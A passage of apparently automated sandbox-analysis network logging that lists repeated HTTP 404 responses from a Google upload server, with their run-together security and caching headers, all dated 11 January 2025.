/_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgRdeUt8bdUq_4HxK-5PIFY0_M21CY6Ou0z4QK_BLnki3WbVCApnzLyop-9h3XYdbTsi2U7LIZ0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:27 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-BxtnlgEUqo9CQAdAi_9dJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTsvZ5YG8_kx--AHuOva7NzYL1i08RPYiWIpef_iCTeDVhfOyBtB0GsA_2qf8PYEMKmContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:29 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-kHN33lFu72BShGpW51I3gA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4_zGRq38DJbxSjMEtoyzJ7nzRxVC8JPPIxpocg3HUVjrF9j_o21eD24yzMhQfBIQMQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:32 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-iRdevWkGAm8sdGXYbHy-_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQXvR-tNun8oF6h2AJeaiM-s_JBDeo1NU9sAJFSmQacNubRX_LWFOvDadNiIAOsQr8xuGKw_9cContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:34 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-Sr-QOMmIQmf3bT0lgyT03g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgRra7MWenIshM3a-QP2-m8yXQFvprUxQzcmwhIrcVXR1PcE1StUuTPeV-Wo1ZGvFV5qvh2q58MContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:36 GMTContent-Security-Policy: script-src 'nonce-7A2aM0fmOZd6YDBTFBZkMQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgSZyitYiO5EdNtK-X7LCxuP3F6eoV2fKRHBh9YP8rCDEI_bndV51fwn3pJnUjU7fGvqhFXdqWAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:38 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-NXrNcZZndc15c350Ma_XUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQek9oxGzHmMKbubWnjsv59Va3Yul-Y0-icPFplRdWlxjvuF4aA3hr3ER2RAc-rnvhMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:40 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-yWbgOx3ZGeyd64PSbVuhbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4CtvgiuzNqD6Vp4OJIXMHd5AkBnmPak_yjkwBEC2qLo3aQqzH-pELs82C9NkGaZlM18Qir1bkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:43 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-Dv_-MqUASgVv1_WCykdIkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTj8JpwWhEFWVkjuaiMhDXKL-ZHcYljt3uPUA7vCdeWVbbsFAhWrHngsJhYyhFhb1LDContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:45 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-tBW8Fb9UJRGoHgcjviWd5g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgSHHEp5YFj3HNU3hqZ1s2vIpBX5B2251aM3rioI1an75eyF2MfLVVdNZ0fT78X3ewRjcBJ7XPAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:47 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-VSNeLRql5daDZf_dYffKag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQILz_p_oTbhPoBahKB_UfXzbmKckVELPV23vZTVrk7MPddQrdnwJuqaQdUJr6Y5RJfContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:49 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-7WRZPqyN5fOr8bAbNk44qQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQyHgAjAxauHLOq6dbMWfXdCljVvh2pk3hRHPiw7ehWZVrDhZa8Pu6O8dyotXL67rK2Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:52 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-nE6Y7UtAuzb2nycRDjQYGQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQZpAqKQTmdyyG3Ej1Rs3p1D3qfZ3MW1VStHJTO1DTfIu42Ez8tzTFlGJ-wZbC4hQ78DGXeHg8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:54 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-1ScqGiQUimKOlJ_kxupGWA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgT3tmaIRFHm1yhh_0CGmJlVxbmGg9hIDyCfNxN2Bo6ZSpJu1Gumg7YZpR8OOIVWciubContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:56 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-Mw7qU6iTU6ekF4mlPaJ7nQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgRdPOs9xyfsFG63nV1mt25njVJ_XT59WnRXpm6j5BWmyRcg7j-WzlRF_bcpyOQ-0ToSCzofaDsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:58 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-fvE0Sq6ueHzbcP01s4468g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; 